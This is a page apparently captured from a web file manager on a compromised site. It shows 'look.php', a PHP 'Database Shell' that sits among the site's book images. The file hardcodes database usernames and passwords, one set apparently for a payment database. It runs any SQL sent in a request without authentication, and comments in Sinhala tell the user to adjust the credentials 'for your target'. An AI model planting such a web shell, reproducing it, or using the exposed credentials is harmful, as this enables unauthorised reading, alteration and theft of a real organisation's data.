PHP File Manager
Current Path: /home/u129606624/domains/padanamapublication.lk/public_html/image/books
Editing 'look.php'
<?php // --- Database Credentials (මෙම කොටස ඔබගේ ඉලක්කයට අනුව වෙනස් කරන්න) --- //$host = "localhost"; //$dbname = "u129606624_matrix_pay"; //$user = "u129606624_matrixipg"; //$pass = "kY!KweL4"; $host = "localhost"; $dbname = "u129606624_padanama_db"; $user = "u129606624_padanama_admin"; $pass = "eU8F7LZqdW4>"; // --- HTML පිටුවේ ආරම්භය සහ CSS ස්ටයිල් ශීට් එක --- echo '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>PHP DB Shell</title> <style> body { font-family: monospace; background-color: #1e1e1e; color: #d4d4d4; margin: 20px; } h1, h2 { color: #569cd6; border-bottom: 1px solid #569cd6; padding-bottom: 5px;} form { margin-bottom: 20px; } textarea { width: 100%; height: 150px; background-color: #252526; color: #d4d4d4; border: 1px solid #3e3e3e; font-family: monospace; font-size: 14px; padding: 10px; box-sizing: border-box; } input[type="submit"] { background-color: #0e639c; color: white; padding: 10px 15px; border: none; cursor: pointer; font-size: 16px; margin-top: 10px;} input[type="submit"]:hover { background-color: #1177bb; } .error { color: #f44747; border: 1px solid #f44747; padding: 10px; margin-bottom: 20px; } .success { color: #4ec9b0; } table { border-collapse: collapse; width: 100%; margin-top: 20px; } th, td { border: 1px solid #444; padding: 8px; text-align: left; } th { background-color: #0e639c; color: white; } tr:nth-child(even) { background-color: #252526; } </style> </head> <body>'; echo '<h1>PHP Database Shell</h1>'; try { // --- Database සම්බන්ධතාවය ඇති කිරීම (PDO භාවිතා කර) --- $conn = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); echo '<p class="success">Successfully connected to database: ' . htmlspecialchars($dbname) . '</p>'; // --- URL එකෙන් 'query' parameter එක ලබාගැනීම --- // POST method එකටත් සහය දක්වන නිසා, විශාල query වුනත් ක්රියාත්මක කළ හැක. $sql_query = ''; if (isset($_REQUEST['query']) && !empty($_REQUEST['query'])) { $sql_query = $_REQUEST['query']; } // --- SQL query එක ඇතුළත් කිරීමට HTML form එකක් --- echo '<h2>Execute SQL Query</h2> <form method="post"> <textarea name="query" placeholder="Enter your SQL query here... e.g., SHOW TABLES; or SELECT * FROM user;">' . htmlspecialchars($sql_query) . '</textarea><br> <input type="submit" value="Execute"> </form>'; // --- query එකක් ලබා දී ඇත්නම්, එය ක්රියාත්මක කිරීම --- if ($sql_query) { echo '<h2>Query Result:</h2>'; $stmt = $conn->query($sql_query); // --- SELECT වැනි, ප්රතිඵල ලබා දෙන query සඳහා --- if ($stmt->columnCount() > 0) { $results = $stmt->fetchAll(PDO::FETCH_ASSOC); if (count($results) > 0) { echo '<table>'; // Table Header (තීරු වල නම්) echo '<thead><tr>'; foreach (array_keys($results[0]) as $column) { echo '<th>' . htmlspecialchars($column) . '</th>'; } echo '</tr></thead>'; // Table Body (දත්ත) echo '<tbody>'; foreach ($results as $row) { echo '<tr>'; foreach ($row as $value) { echo '<td>' . htmlspecialchars($value) . '</td>'; } echo '</tr>'; } echo '</tbody>'; echo '</table>'; } else { echo '<p>Query executed successfully, but returned no rows.</p>'; } } else { // --- INSERT, UPDATE, DELETE වැනි, ප්රතිඵල ලබා නොදෙන query සඳහා --- echo '<p class="success">Query executed successfully. Rows affected: ' . $stmt->rowCount() . '</p>'; } } } catch(PDOException $e) { // --- දෝෂයක් ඇති වුවහොත් --- echo '<div class="error"><strong>Connection or Query Failed:</strong><br>' . htmlspecialchars($e->getMessage()) . '</div>'; } // --- HTML පිටුව අවසන් කිරීම --- echo '</body></html>'; ?>
Save Changes
Cancel